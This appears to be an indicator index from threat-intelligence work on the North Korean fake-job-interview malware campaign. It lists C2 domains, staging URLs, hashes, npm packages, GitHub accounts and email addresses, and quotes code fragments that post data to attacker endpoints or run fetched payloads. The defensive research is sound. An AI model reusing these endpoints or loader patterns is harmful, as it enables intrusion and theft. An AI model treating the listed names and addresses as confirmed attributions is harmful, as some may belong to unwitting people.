nvidiasdk.fly.dev Payload Staging:…","Lookalike fake job-application domain paired with blocknovas.com. Part of a three-front-company Contagious Interview cluster documented by Silent Push, which delivers InvisibleFerret and BeaverTail via fake job-interview lures.","blocknovas.com subdomain used as the fake job-application entry point. Part of a three-front-company Contagious Interview cluster documented by Silent Push, which delivers InvisibleFerret and BeaverTail via fake job-interview lures.","A fake recruiter approached the researcher on LinkedIn while impersonating the Bitgesell project, then sent a take-home coding assignment hosted in a private Bitbucket organisation. The researcher describes the assignment's backend as contacting an external URL on startup and executing whatever code it receives, which is a remote-code-execution backdoor disguised as middleware. The registration dates are the researcher's own evidence for the impersonation: the post states that bitgesell.co was registered on 9 August 2025, the day before the approach, while the project's official site was registered in April 2020. A second domain, bitgesell.finance, appeared a day later with the same hire@ address pattern. The hashes are reproduced from the researcher's own indicator list for the assignment repository.","Primary front-company domain used as a fake employer for job-interview lures. Part of a three-front-company Contagious Interview cluster documented by Silent Push, which delivers InvisibleFerret and BeaverTail via fake job-interview lures.","…45.8.22.144 45.8.22.52 api-sub.jrodacooker.dev api.bensaru.site api.fivefingerz.dev api.mywalletsss.store api.soladify.fun blxrbn.com changelog.rest clob-polymarket.com ghostraper.top ipfs-url-validator.vercel.app log.pricesheet.ink logger.clob.health…","blocknovas.com subdomain used in the fake-interview scheduling flow. Part of a three-front-company Contagious Interview cluster documented by Silent Push, which delivers InvisibleFerret and BeaverTail via fake job-interview lures.","Vercel-hosted fake recruiting site GitLab Threat Intelligence tied to a September 2025 BeaverTail distribution chain that combined malicious repositories with a ClickFix lure.","…macOS ( com.apple.act.mond ) 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a New IOCs C2 callnrwise.com 142.11.196.73 142.11.199.73 Hash 5b5fbc627502c5797d97b206b6dcf537889e6bea6d4e81a835e103e311690e22…","C2 domain observed with victim logs. Part of a three-front-company Contagious Interview cluster documented by Silent Push, which delivers InvisibleFerret and BeaverTail via fake job-interview lures.","…45.8.22.52 api-sub.jrodacooker.dev api.bensaru.site api.fivefingerz.dev api.mywalletsss.store api.soladify.fun blxrbn.com changelog.rest clob-polymarket.com ghostraper.top ipfs-url-validator.vercel.app log.pricesheet.ink logger.clob.health mywalletsss.store…","blocknovas.com subdomain used in the fake-interview communication flow. Part of a three-front-company Contagious Interview cluster documented by Silent Push, which delivers InvisibleFerret and BeaverTail via fake job-interview lures.","…api.bensaru.site api.fivefingerz.dev api.mywalletsss.store api.soladify.fun blxrbn.com changelog.rest clob-polymarket.com ghostraper.top ipfs-url-validator.vercel.app log.pricesheet.ink logger.clob.health mywalletsss.store navigatorshub.com…","…RustBucket IOCs (for cross-reference) C2 Domains cloud.dnx.capital crypto.hondchain.com deck.31ventures.info webhostwatto.work.gd starbucls.xyz jaicvc.com docsend.linkpc.net File…","Secondary C2 -- individual file upload. OtterCookie C2 domain named to impersonate Cloudflare infrastructure, documented by Panther.","Primary C2 -- config fetch and multipart file upload. OtterCookie C2 domain named to impersonate Cloudflare infrastructure, documented by Panther.","…samples, the malware exposed two main behaviors: one function fetched /api/ssh-key , /api/scan-patterns , and /api/block-patterns from cloudflareinsights.vercel.app , then stole ~/.ssh material and any server-selected files; the other recursively searched the working directory for developer secrets such…","…SSH (port 22) using ufw . The SSH key is retrieved dynamically from the exfiltration server For npm-builders , the exfiltration server is https://cloudflareinsights.vercel.app The infection chain is invoked by a postinstall script that executes /test.js , which invokes the malicious from_str() function. Here…","Legacy C2, observed in an earlier unobfuscated OtterCookie build (v1.0.4). OtterCookie C2 domain named to impersonate Cloudflare infrastructure, documented by Panther.","…RustBucket IOCs (for cross-reference) C2 Domains cloud.dnx.capital crypto.hondchain.com deck.31ventures.info webhostwatto.work.gd starbucls.xyz jaicvc.com docsend.linkpc.net File Paths…","Surfaced by DPRK_Dev_Star, an anonymous expose account that narrates in an operator voice to out DPRK developer infrastructure. The first post names the GitHub account adammajoros250 as a source of base64-encoded API keys used to conceal malicious injects in repositories, and gives a GitHub code search that finds the injected pattern. The second presents a fabricated software-company front: the GitHub organization dantelabservice, a repository named Cartid said to hide malicious code, and the site dantelabs.us offered as a way to contact the operators. Both GitHub accounts returned a 404 when checked on 2026-09-11, consistent with removal after the exposure. The handle has no connection to any legitimate business of a similar name; the values recorded here are the specific accounts and domain the researcher cited.","…RustBucket IOCs (for cross-reference) C2 Domains cloud.dnx.capital crypto.hondchain.com deck.31ventures.info webhostwatto.work.gd starbucls.xyz jaicvc.com docsend.linkpc.net File Paths $TMPDIR/ErrorCheck.zip…","Largest single-subdomain PolinRider C2 cluster identified, associated with roughly 106 victim repositories. All PolinRider Vercel subdomains follow the URL pattern https://<subdomain>.vercel.app/settings/(mac|linux|win)?flag=<N> and are weaponized via a .vscode/tasks.json entry set to runOn: folderOpen, executing curl | bash against the subdomain on project open. Reported by OpenSourceMalware.","…Code Search 46 7 <url> filename:tasks.json (vercel.app, onrender.com, 260120.vercel.app) GitHub Code Search 145 8 \"default-configuration.vercel.app\" + 4 sibling vscode-*.vercel.app subdomains GitHub Code Search 94 9 \"e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9\" (StakingGame template…","…GitHub Code Search 46 7 <url> filename:tasks.json (vercel.app, onrender.com, 260120.vercel.app) GitHub Code Search 145 8 \"default-configuration.vercel.app\" and 4 sibling vscode-*.vercel.app subdomains GitHub Code Search 94 9 \"e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9\" (StakingGame template…","…Domains cloud.dnx.capital crypto.hondchain.com deck.31ventures.info webhostwatto.work.gd starbucls.xyz jaicvc.com docsend.linkpc.net File Paths $TMPDIR/ErrorCheck.zip /Users/Shared/Internal PDF Viewer.app ~/Library/Metadata/System Update…","Malware payload distribution domain. Part of a three-front-company Contagious Interview cluster documented by Silent Push, which delivers InvisibleFerret and BeaverTail via fake job-interview lures.","Vercel-hosted endpoint from which a malicious Visual Studio Code project's tasks.json retrieved obfuscated JavaScript and piped it into Node.js, in the January 2026 Contagious Interview activity Jamf Threat Labs documented.","…‍ ‍ C:\\Windows\\Temp\\piyu.exe 9dbfc23ebf36b3c0b56d2f93116abb32656c42e4 295ce86226b933e7262c2ce4b36bdd6c389aaaef C2 env-check.daemontools.cc 38.180 .107 .…","…written up a detailed timeline blog post which you can find HERE Indicators of Compromise (IOCs) Network indicators # C2 Domains eth-mainnet-alchemy.com # C2 URLs http://eth-mainnet-alchemy.com/api/service/token/f71d1d9b2de7d4ebf5f706a4b9cd4eb4 # HTTP Headers x-secret-header: secret…","The X account the report gives for the GitHub account Cornel-pe, and the project it says Cornel appears to run.","…api.bensaru.site api.fivefingerz.dev api.mywalletsss.store api.soladify.fun blxrbn.com changelog.rest clob-polymarket.com ghostraper.top ipfs-url-validator.vercel.app log.pricesheet.ink logger.clob.health mywalletsss.store navigatorshub.com polblxpnl.space…","blocknovas.com subdomain hosting a malicious code repository used in the lure. Part of a three-front-company Contagious Interview cluster documented by Silent Push, which delivers InvisibleFerret and BeaverTail via fake job-interview lures.","C2/exfiltration endpoint for the HexEval Loader wave of Contagious Interview npm packages, which deploys BeaverTail and InvisibleFerret.","…The former references the endpoint ip-api-server.vercel.app/api/ipcheck/703 , while the latter uses ip-check-api.vercel.app/api/ipcheck/703 .…","…C2 hosts: `ipregionchecker.com` (registrar-frozen), `isillegalregion.com` (Vercel; live), `cookie-xi-seven.vercel.app` and `ip-check-api.vercel.app` (both DEPLOYMENT_DISABLED). | Repository | Lure theme | Generation | Repo signals verified | |---|---|---|---| |…","…https://ip-api-test.vercel.app/api/ip-check-encrypted/3aeb34a38 url malware N/A N/A JavaScript malware dropper URL Year in Review https://ip-check-server.vercel.app/api/ip-check-encrypted/3aeb34a37 url malware N/A N/A JavaScript malware dropper URL Year in Review https://jsonkeeper.com/b/4NAKK url…","…https://bitbucket.org/zoro-workspace/ Command and Control (C2) Endpoints # https://log-server-lovat.vercel.app/api/ipcheck/703 https://ip-check-server.vercel.app/api/ip-check/208 https://ip-check-api.vercel.app/api/ipcheck/703 172.86.80.145 SHA256 Hashes #…","Remote server the JavaScript stage of the January 2026 Visual Studio Code lure chain reported to, according to The Hacker News' coverage of the Jamf, Red Asgard and Security Alliance research.","Drawn from \"Deep Dive into Active Github Network Running Contagious Interview\", an article the researcher published on X in May 2026 covering an investigation running since mid-2025. The article names the same operation under the labels several vendors give it, Contagious Interview and PolinRider and UNC5342 among them, and describes an infection chain that begins with a repository sent during a fake interview and executes when the developer opens the folder in VS Code or Cursor. The first four are what the article calls the polymorphic servers: each request returns a freshly generated obfuscated JavaScript payload of about 3.5 megabytes, with a different hash, different obfuscation seeds and different encryption keys every time. That is the reason no payload hash is recorded for this part of the chain, and why the hosts are the indicator. The fifth is a separate anti-analysis step: it deliberately returns an HTTP error whose body the malware then evaluates as code. These are delivery infrastructure shared across the campaign rather than any one operator's accounts, so no persona is attached.","Found on 27 October 2026 by searching GitHub code for the loader that bryanchriswhite's dev-trap-dossiers documents as the realfraction generation of the Contagious Interview campaign: a backend file that holds a base64-encoded URL ending /api/ip-check-encrypted/<id>, posts the whole of process.env to it with the header x-secret-header: secret, and runs the reply with new Function(\"require\", ...). Each of the three repositories below carries that loader, read as text and never run.\n\nQevoratrix-live-coding is a GitHub organization created on 20 October 2026 that the same day published six repositories named for languages (react, go, rust, java, solidity, node), the shape of a live-coding interview exercise. In react, backend/src/services/errorHandler.service.config.js decodes to https://www.jitnad.lol/api/ip-check-encrypted/3aeb34a39; the file's only commit is dated 3 September 2026 and attributed to a real developer, whose history the repository copies. stockx-fi, an organization created on 3 August 2026, holds stockx_v1, whose backend/src/compliance/complianceService.js decodes to https://www.ipregionchecker.org/api/ip-check-encrypted/3aeb34a32. 0xbrentfi, a user account created on 21 February 2026 and displaying the name Brent Phelps, holds StockX_PoC_1.03 with the same file decoding to https://www.ipregionchecker.org/api/ip-check-encrypted/3aeb34a37; dev-trap-dossiers already lists that account among the realfraction repositories, and Maltrail's Lazarus trail list carries ipregionchecker.org. The StockX proof-of-concept is the lure that write-up describes, and its first C2 was ipregionchecker.com. jitnad.lol was registered through Dynadot on 23 October 2026, the day the loader was pushed to the repository, and appears in no published source found on 27 October 2026.\n\nThe same search found jamesm-dev/NitroGem, a neutralized copy of the NitroGem trading-bot lure published for study, whose report gives the original's stage-one C2 as https://locate-my-ip.vercel.app/api/ip-check-encrypted/3aeb34a31; dev-trap-dossiers lists the original, TechByteX/NitroGem, in the cluster. The study copy itself is not filed.\n\nNot carried: the commit authors of all three repositories are real developers (one at Uniswap) whose commit history was copied into the lure, the usual way these repositories borrow credibility.","Heiner García's article of 20 April 2025, read in full from its raw text, links a network of GitHub accounts to the Wagemole campaign through their handles, profile images, coordinated commits and requests to join community organisations, and closes with an Indicators of Compromise section listing eight email addresses and 214 GitHub accounts. The accounts here are that list, less the 49 it separately calls farmed, less those this index already holds, and less eleven that present as real developers. The body names the other values: the Telegram handles sasuke310 and spmoed and the sites sasuke.dev, spmoe.xyz and shiny-dev.com for the ShinySyntax and spmoe identity; motokimasuo.com for motokimasuo; iwakihiroto.info, the LinkedIn and Fiverr profiles under the name Hiroto Iwaki for mymiracle0118; the portfolio sites of vuedev2113 and OnlyForward0613 and the two X accounts OnlyForward0613 uses. The organisations and projects the accounts joined or targeted, among them dev-protocol, EddieHub, ProductShare DAO, TaraSwap and Stellar Foundation repositories, are named in the article as targets and are not carried.","…C2 Domains cloud.dnx.capital crypto.hondchain.com deck.31ventures.info webhostwatto.work.gd starbucls.xyz jaicvc.com docsend.linkpc.net File Paths $TMPDIR/ErrorCheck.zip /Users/Shared/Internal PDF Viewer.app ~/Library/Metadata/System…","Transcribed from the researcher's Boris Lee Anderson and Friends chart, whose edges say which account hangs off which; the chart marks the link between this cluster and m4rcu5o's with the words colleagues or alts, without deciding. A contributor to m4rcu5o's personal repository. The chart records the X account identifying itself as taprwhiz in its own posts, and that GitHub account carrying the snipmaxi Telegram handle; the sakelejames address, Medium account and jrodacooker.dev site hang off the X account.","…https://api.npoint.io/b964566497d98298d32c https://ip-check-server.vercel.app/api/ip-check/208 https://json-project-hazel.vercel.app/apikey/QWERTYU890T12HML https://log-server-lovat.vercel.app/api/ipcheck/703 https://process-log.vercel.app/api/ipcheck…","Command-and-control or payload-staging host for the October to November 2025 Contagious Interview npm wave; tetrismic.vercel.app is the Vercel-hosted staging endpoint Socket traced to the stardev0914 GitHub account.","…hook point) return nodeTailwind ( clsx (inputs)); } Screenshot of the Knightsbridge/KXCO-branded DEX front end hosted at knightsbridge-dex.vercel.app , which Contagious Interview threat actors cloned and used as a presentational lure while wiring the underlying template to the malicious…","Staging/C2 domain hosted at 37.211.126.117. Part of a three-front-company Contagious Interview cluster documented by Silent Push, which delivers InvisibleFerret and BeaverTail via fake job-interview lures.","The report of 1 April 2025 finds the GitHub account SonataM hosting a large collection of copied memecoin websites, most likely for phishing or impersonation, each deployed to Vercel. Carried: the repositories, their deployments, and the values the report itself marks as fake: the Liquina pair it labels FAKE, the rug-pull pair and site liquina.vip, and the lookalike Liquina and Arky handles whose typos it points out.","…https://ip-check-server.vercel.app/api/ip-check/208 https://json-project-hazel.vercel.app/apikey/QWERTYU890T12HML https://log-server-lovat.vercel.app/api/ipcheck/703 https://process-log.vercel.app/api/ipcheck https://process-log-update.vercel.app/api/ipcheck Malicious npm…","…# https://bitbucket.org/notion-dex/ultrax https://bitbucket.org/zoro-workspace/ Command and Control (C2) Endpoints # https://log-server-lovat.vercel.app/api/ipcheck/703 https://ip-check-server.vercel.app/api/ip-check/208 https://ip-check-api.vercel.app/api/ipcheck/703 172.86.80.145…","…react-babel-purify v1.0.7 meirjacob (meirjacob727@gmail.com) 2025-06-12 y f290db50ffe64d4fb5fe409d3d1c8eca6f6711e4bbd85a13c9dce055508cc1b3 log-server-lovat.vercel.app ℹ️ Note Do you want to see these packages for yourself? Download the package tgz files from my research site!…","…post ( \"https://log-writter.vercel.app/api/ipcheck\" , { ...info, version }) .…","…api.soladify.fun blxrbn.com changelog.rest clob-polymarket.com ghostraper.top ipfs-url-validator.vercel.app log.pricesheet.ink logger.clob.health mywalletsss.store navigatorshub.com polblxpnl.space polygon-rpc.com polymarket-clob.com…","…blxrbn.com changelog.rest clob-polymarket.com ghostraper.top ipfs-url-validator.vercel.app log.pricesheet.ink logger.clob.health mywalletsss.store navigatorshub.com polblxpnl.space polygon-rpc.com polymarket-clob.com rpc-amoy.polygon.technology…","…The endpoint as of writing used for this behavior: logkit-tau.vercel.app This effectively creates a backdoor with full access to: The filesystem Network connectivity Child processes Infrastructure…","…called debug.enable(namespaces) . When it fired, the injected code contacted axioshealthcheck.vercel.app/debugCheck?id=<namespaces> — or logkit-tau.vercel.app in the sibling package — pulled a large base64 payload from the JSON message field, and executed it with new Function('require',…","…Their infrastructure also varies across versions, including ngrok-free.vercel.app , logkit.onrender.com , and logkit-tau.vercel.app .…","…C2 / staging domain ngrok-free.vercel.app C2 / staging domain logkit.onrender.com C2 / staging domain logkit-tau.vercel.app C2 IP (Windows variant) 66.45.225.94 Archive name ecw_update.zip Extraction directory…","…C2 / staging domain apachelicense.vercel.app C2 / staging domain ngrok-free.vercel.app C2 / staging domain logkit.onrender.com C2 / staging domain logkit-tau.vercel.app C2 IP (Windows variant) 66.45.225.94 Archive name ecw_update.zip…","Recovered from IPMsg chat logs on a DPRK IT worker's device after it was compromised by an infostealer. The researcher describes the site as an internal payment remittance platform, a Discord-style messenger the workers used to report payments back to their handlers. It is infrastructure rather than an identity, and the post attributes it to no individual operator.","Data taken from an internal North Korean payment server and passed to the researcher by an unnamed source, covering 390 accounts along with chat logs and transactions. The site named in the chat logs was an internal remittance platform whose default password had gone unchanged for ten of its users; it was taken down the day after the thread was published. The researcher describes tracing the two payment addresses on-chain to IT workers already attributed to known clusters, and reports that the Tron address was frozen by Tether in December 2025. The addresses belong to the payment infrastructure rather than to any one operator, which is why they are recorded without a persona. The administrative panel was read on 16 September 2026 from the screenshot in the third post of the thread, which is the first time any of the 390-account list has been transcribed here. Fifteen rows are legible and they are ordinary in a way worth recording: a username, a display name and a free-text description, with a single account -- username admin, display name PC-1234 -- holding the administrator flag. Five of the fifteen describe a post in an organisation. One writes \"I am manager of 1020 team\" and another \"1020 vice manager\"; a third \"I am a chief of 710 Command department\"; a fourth \"I am a boss of PNI team\"; and an account named admiral gives its description as \"Head of Polaris-171\". Those unit names -- 1020, 710 Command Department, PNI, Polaris-171 -- appear nowhere else in this repository and are recorded exactly as the panel prints them, without any claim about what they denote. The remaining rows carry no description at all. The fifth post adds the conversion route: a Payoneer confirmation dated 19 February 2026 moving 495 euro out of a balance held by a company named Grack Birds LLC into a Citibank account, which is the fiat leg of the remittance pattern the post describes. The organizational chart was read on the same day and did not need the password: the sixth post of the thread screenshots it whole and it is legible. Its header gives the scope -- 390 accounts, 214 of them with chat logs, 8 December 2025 to 28 February 2026, and total payments of 2.84 million dollars over that window -- and describes itself as derived from the server export together with an analysis of the logs. The shape is a single administrator over a single command department over three columns of groups. At the top is PC-1234, described as managing all payment accounts and confirming all team remittances, with the Ethereum address already recorded here printed beneath it. Below that sits the 710 Command Department, whose chief is the account 710_TJ under the name JiHuiBu. Everything else hangs off that. Twenty groups are filed as operational units: Unit 1020, which at 920,000 dollars across two accounts is by far the largest single payer in the chart, Bureau 128 at 396,000 across sixteen accounts, RedStar at 323,000 across two, then Second Economy, UOS, Polaris-171, JaeJong-Central, PUCS Info Exchange, Sobaeksu, CIC, HangLo 2nd, PBIC, Unit 418, BH-2401, Kuksol, RB Team, BH-1383, JKIC, RR888 and MOF. Eight are filed as regional groups and they are North Korean places: ChongJin, HamHung and Hamnam, North Hamgyong, PyongSong, North and South Hwanghae, Rason and Wonsan, Ryanggang, and a catch-all called Other Regions which is the largest of them at 120,000 dollars over ten accounts. Twenty more are filed by sector or industry: Various and Miscellaneous, University of Transport, Kanggye Forest IT, Print Teams, Jonsong-Moran, ChongSoNyon, Health IT, HUCE, Kumgangsan2005, Madusan, 325-Sollim, HNIC, Myohyang, Munhung Tech, Natural Museum, Jae Ryong, SonKwang Trading, Ryonbong, SukChon and 3556 Army-126. Two carry an OFAC SDN tag in the chart itself, Sobaeksu and SonKwang Trading, and the post's text says three of the companies appearing in the data are currently sanctioned, the third being in the part of the text the syndication endpoint truncates. None of this is an indicator and none of it is recorded as one: it is the researcher's reconstruction of a hierarchy from an exfiltrated database, the group names are what the database called them, and what any of them denotes outside this chart is not something this site establishes.","The post of 16 June 2026 analyses a recruiting approach from \"Sergio Yatskevich\" at a lookalike of a digital-healthcare agency: the sender's domain drops the final s of the real agency's domain, which is not carried. The author attributes the tradecraft to the Contagious Interview campaign.","MageHire is the front company in Hayden McKenzie's report The Women Behind North Korea's IT Worker Operations (https://haydenmckenzie.com/research/dprk-it-worker-cell-part-one), which places its team leader, Leo, in Dalian and says he is presented publicly as its CTO. magehire.com lists a Leo King as CTO and links github.com/goldengm. That account (id 55405956, created 16 September 2019) committed as Leo, leokokko1022@gmail.com and leokokko@outlook.com, under the former login leokokko, until December 2019, and as the company's CEO from 22 December 2019; it now carries his name and schmid@magehire.com. leokokko@outlook.com is also verified on github.com/goldencode8. The phone number is the sales line magehire.com publishes. Read 23 September 2026. goldengm and two accounts follow each other: schmidpeterley (display name the CEO's, created March 2021) and maxvmiracle (display name Joy, maxvman92@gmail.com, created July 2025, following nobody else). The report names an operative Joy. banksbestrates (David Goodman, Banks Best Rates, Inc.) follows goldengm and is the source named on a testimonial on magehire.com's 2023 homepage; banksbestrates.com is a parked domain with no archived history. Read 24 September 2026. Registries, read 24 September 2026: New York holds no entity named MageHire or Mage Hire, despite the Wall Street address the site gives. Florida holds MAGE HIRE LLC (M20000008674), a Delaware LLC registered 2 October 2020 at 1415 2nd St, Sarasota, with the CEO as sole member and registered agent, revoked on 23 September 2022 for a missed annual report. goldengm/goldengm-git, created 19 June 2024, holds 362 commits by Pookie0717 (pookiemoney717@gmail.com), every one titled \"fake commit\" and dated back to April, beside the CEO's own README: a contribution graph being padded inside the company account's repository. Pookie0717 also re-published a client codebase whose history is the CEO account's commits. A second account, Pookie717 (named Pookie, created September 2023), holds a repository with commits GitHub credits to goldengm.","The two free-plan Slack workspaces the report The Women Behind North Korea's IT Worker Operations lists in its indicator register. The author reports joining both through social engineering. mphteam is described as the cell's internal workspace, with every member North Korean; MageHire is the front-facing workspace shared with the staffing company the report assesses as the cell's front, where job profiles, interviews and placements are run. They belong to the cell rather than to any one persona, so they anchor none. The report's register adds that listing a service there means it was observed in use, not that the provider is implicated.","blocknovas.com subdomain hosting a status dashboard (observed on ports 3001, 4200). Part of a three-front-company Contagious Interview cluster documented by Silent Push, which delivers InvisibleFerret and BeaverTail via fake job-interview lures.","The portfolio domain the report gives for the GitHub account 0xMooncity.","…changelog.rest clob-polymarket.com ghostraper.top ipfs-url-validator.vercel.app log.pricesheet.ink logger.clob.health mywalletsss.store navigatorshub.com polblxpnl.space polygon-rpc.com polymarket-clob.com rpc-amoy.polygon.technology validator.uno…","…clob-polymarket.com ghostraper.top ipfs-url-validator.vercel.app log.pricesheet.ink logger.clob.health mywalletsss.store navigatorshub.com polblxpnl.space polygon-rpc.com polymarket-clob.com rpc-amoy.polygon.technology validator.uno winstonjs.site PyPI package:…","…dev-log-core 1.0.0–1.0.5 aokisasakidev1 New Payload host, all versions malicious C2 infrastructure Domain Active Notes ngrok-free.vercel.app Jan 29 First C2, now rotated logkit.vercel.app Feb 3 Second C2, now rotated logkit-tau.vercel.app Mar 16–now Active as of publication…","…of compromise Type Indicator C2 / staging domain apachelicense.vercel.app C2 / staging domain ngrok-free.vercel.app C2 / staging domain logkit.onrender.com C2 / staging domain logkit-tau.vercel.app C2 IP (Windows variant)…","Nisos's report of 19 March 2025, \"Likely DPRK Network Backstops on GitHub, Targets Companies Globally\", published on its site and as a LinkedIn article whose full text is a PDF, tracks personas posing as Vietnamese, Japanese and Singaporean developers that reuse matured GitHub accounts and portfolio content from older personas, and whose addresses recur with the number 116 and the word dev. The values here are from the report's contact table and its footnotes. The companies the personas list as employers are not carried as indicators. The report lists okino.takayuki.dev@gmail.com as a contact address associated with the GitHub accounts superbluestar and kamaalsultan without assigning it to a persona, and shows from kamaalsultan's commits that several GitHub users worked on several personas, including two named Karl Chong and Yoshiro Morino; the two sites are the examples it gives of personas created on GitHub, kanbei-profile.vercel.app carrying the Karl Chong resume.","Backend service behind the fake recruiting site in the September 2025 BeaverTail distribution chain GitLab Threat Intelligence documented, masquerading as an NVIDIA SDK host.","…IOC Type Description businesshire.top Domain Domain used to host fake recruiting site containing ClickFix commands nvidiasdk.fly.dev Domain Backend service and malware staging for businesshire.top 172.86.93.139 IP Command and Control address for BeaverTail and…","…nvidiasdk.fly.dev Payload Staging: https://raw.githubusercontent.com/RominaMabelRamirez/dify/refs/heads/bai/api/* (deleted) https://nvidiasdk.fly.dev/nvs User-Agent Campaign Markers: 205 , 206 , 207 , 209 (numeric-only User-Agent strings) Malware Samples (SHA256) Hash…","…C2 www.online.check-computer.kro.kr online.lecture-site.kro.kr cyber.lecture.site.online-driver.kro.k account-profile.servepics.com accounts-porfile.serveirc.com cafe24.p…","…C2 www.online.check-computer.kro.kr online.lecture-site.kro.kr cyber.lecture.site.online-driver.kro.k account-profile.servepics.com accounts-porfile.serveirc.com cafe24.pro cukumam.shop bikaro.sto…","…6 C2 zkservice.cloud 7 C2 w3capi.marketing 8 C2 payloadrpc.com 9 C2 185.235.241.208:1224 10 C2 45.128.52.14:1224 11 C2…","…ghostraper.top ipfs-url-validator.vercel.app log.pricesheet.ink logger.clob.health mywalletsss.store navigatorshub.com polblxpnl.space polygon-rpc.com polymarket-clob.com rpc-amoy.polygon.technology validator.uno winstonjs.site PyPI package: package_name…","…log.pricesheet.ink logger.clob.health mywalletsss.store navigatorshub.com polblxpnl.space polygon-rpc.com polymarket-clob.com rpc-amoy.polygon.technology validator.uno winstonjs.site PyPI package: package_name version SHA1 scraper-npm…","…https://log-server-lovat.vercel.app/api/ipcheck/703 https://process-log.vercel.app/api/ipcheck https://process-log-update.vercel.app/api/ipcheck Malicious npm Packages: # alchmey-sdk alert-codestreamer async-chai babel-cli-ganache bind-error…","…include: https://soc-log.vercel.app/api/ipcheck https://1215.vercel.app/api/ipcheck https://log-writter.vercel.app/api/ipcheck https://process-log-update.vercel.app/api/ipcheck https://api.npoint.io/1f901a22daea7694face (a likely initial configuration fetch). Package-naming patterns (e.g., vite-* ,…","…https://json-project-hazel.vercel.app/apikey/QWERTYU890T12HML https://log-server-lovat.vercel.app/api/ipcheck/703 https://process-log.vercel.app/api/ipcheck https://process-log-update.vercel.app/api/ipcheck Malicious npm Packages: # alchmey-sdk alert-codestreamer…","…trojan, and that the threat organization behind it is the Lazarus APT Group. Appendix Previously Disclosed IOCs C2 sfrclak.com http://sfrclak.com:8000/6202033 142.11.206.73 Hash Platform SHA256 Linux ( ld.py )…","…Shellcode payload 2 (sandbox) — not on VT 9.3 Network IOCs Type Indicator Context Domain sfrclak.com Primary C2 IP 142.11.206.73 C2 server URL http://sfrclak.com:8000/6202033 Payload endpoint Port 8000 (HTTP) C2…","…post ( \"https://soc-log.vercel.app/api/ipcheck\" , { version }) .…","Third front-company domain in the same cluster. Part of a three-front-company Contagious Interview cluster documented by Silent Push, which delivers InvisibleFerret and BeaverTail via fake job-interview lures.","…(for cross-reference) C2 Domains cloud.dnx.capital crypto.hondchain.com deck.31ventures.info webhostwatto.work.gd starbucls.xyz jaicvc.com docsend.linkpc.net File Paths $TMPDIR/ErrorCheck.zip /Users/Shared/Internal PDF Viewer.app…","…the malicious tailwind-magic package highlights a backdoor that, on import, POSTs the local package version to the threat-actor endpoint https://tetrismic.vercel.app/api/ipcheck and eval s the response, granting the threat actor arbitrary code execution with full Node.js process privileges.…","…everything we documented in the first two parts of this series. OtterCookie: A Second Malware Family Discovery The payload from tetrismic.vercel.app was not BeaverTail.…","…mywalletsss.store navigatorshub.com polblxpnl.space polygon-rpc.com polymarket-clob.com rpc-amoy.polygon.technology validator.uno winstonjs.site PyPI package: package_name version SHA1 scraper-npm 1.0.4 ae4fe9f9a4f099de9132eb3346abcdd96dbeb39d…","PolinRider C2 subdomain used in .vscode/tasks.json curl-to-shell payloads. All PolinRider Vercel subdomains follow the URL pattern https://<subdomain>.vercel.app/settings/(mac|linux|win)?flag=<N> and are weaponized via a .vscode/tasks.json entry set to runOn: folderOpen, executing curl | bash against the subdomain on project open. Reported by OpenSourceMalware.","…- James Smith Email Addresses: - Ihzha Tamamy <ihzhatamamy@gmail.com> - James Smith <ellisfleming574@gmail.com> Domains: - vscode-bootstrapper.vercel.app ## Lazarus Group loves hosting payloads on Vercel DPRK threat actors have flocked to Vercel, and are now using it almost exclusively.…","…106 April 2026 `vscode-settings-bootstrap.vercel.app` 16 April 2026 `vscode-settings-config.vercel.app` 11 April 2026 `vscode-bootstrapper.vercel.app` 6 April 2026 `vscode-load-config.vercel.app` 6 April 2026 All five follow the same URL shape:…","…https://vscode-config-settings.vercel.app/settings/windows?flag=8 url malware N/A N/A JavaScript malware dropper URL Year in Review https://vscode-load-config.vercel.app/settings/linux?flag=3 url malware N/A N/A JavaScript malware dropper URL Year in Review…","…5 C2 api.npoint.io/e9769067e97d0baa4d09 6 C2 zkservice.cloud 7 C2 w3capi.marketing 8 C2 payloadrpc.com 9 C2 185.235.241.208:1224 10 C2…","…RustBucket IOCs (for cross-reference) C2 Domains cloud.dnx.capital crypto.hondchain.com deck.31ventures.info webhostwatto.work.gd starbucls.xyz jaicvc.com docsend.linkpc.net File Paths $TMPDIR/ErrorCheck.zip /Users/Shared/Internal PDF…","Drawn from \"Deep Dive into Active Github Network Running Contagious Interview\", an article the researcher published on X in May 2026 covering an investigation running since mid-2025. The article names the same operation under the labels several vendors give it, Contagious Interview and PolinRider and UNC5342 among them, and describes an infection chain that begins with a repository sent during a fake interview and executes when the developer opens the folder in VS Code or Cursor. This operator runs a complete fake interview assessment platform. The domain impersonates a real hiring-assessment product, and the article describes further variants impersonating a second one. During the assessment the candidate is shown a fake camera-driver installation with a progress indicator; no driver is installed and the step exists to cover the malware running behind it.","…navigatorshub.com polblxpnl.space polygon-rpc.com polymarket-clob.com rpc-amoy.polygon.technology validator.uno winstonjs.site PyPI package: package_name version SHA1 scraper-npm 1.0.4 ae4fe9f9a4f099de9132eb3346abcdd96dbeb39d scraper-npm…","…BeaverTail+OtterCookie (json, 난독화) 5 C2 api.npoint.io/e9769067e97d0baa4d09 6 C2 zkservice.cloud 7 C2 w3capi.marketing 8 C2 payloadrpc.com 9 C2…","…Containers/com.apple.siri.updater/com.apple.updater.wake /Library/RestoreKey/com.apple.updater.wake /Users/Shared/.pwd C2 domains zoom-tech.us ajayplamingo.com zmwebsdk.com IP address 23.254.203.244 Additional domains likely registered under the same actor:…","Queued on Potential DPRK Profiles and rated high confidence by a reviewer. Not confirmed; see the profile's page for the review.","Per DTEX's own advisory text: these IOCs are NOT indicative of a confirmed North-Korea-attributed hack — they may have associations with IT-worker operations and require further investigation if observed in your environment. Any connection to actual persons may be deliberate (an operator using a real person's identity) or incidental, and the actual owner of an email account listed here may be unaware their address is associated with this IOC list. Do not treat presence on this list as proof of wrongdoing by the account holder.","…To get the Github and LinkedIN profiles of DPRK IT Workers, you can find it on my GitHub list . 0o7ugm4x@joseffranke.anonaddy.com 0supportx@gmail.com 0swk7tyb@joseffranke.anonaddy.com 0xsmart23@gmail.com 1100binarynum@gmail.com 11ql6nwf@joseffranke.anonaddy.com 2a8p6xm…","…To get the Github and LinkedIN profiles of DPRK IT Workers, you can find it on my GitHub list . 0o7ugm4x@joseffranke.anonaddy.com 0supportx@gmail.com 0swk7tyb@joseffranke.anonaddy.com 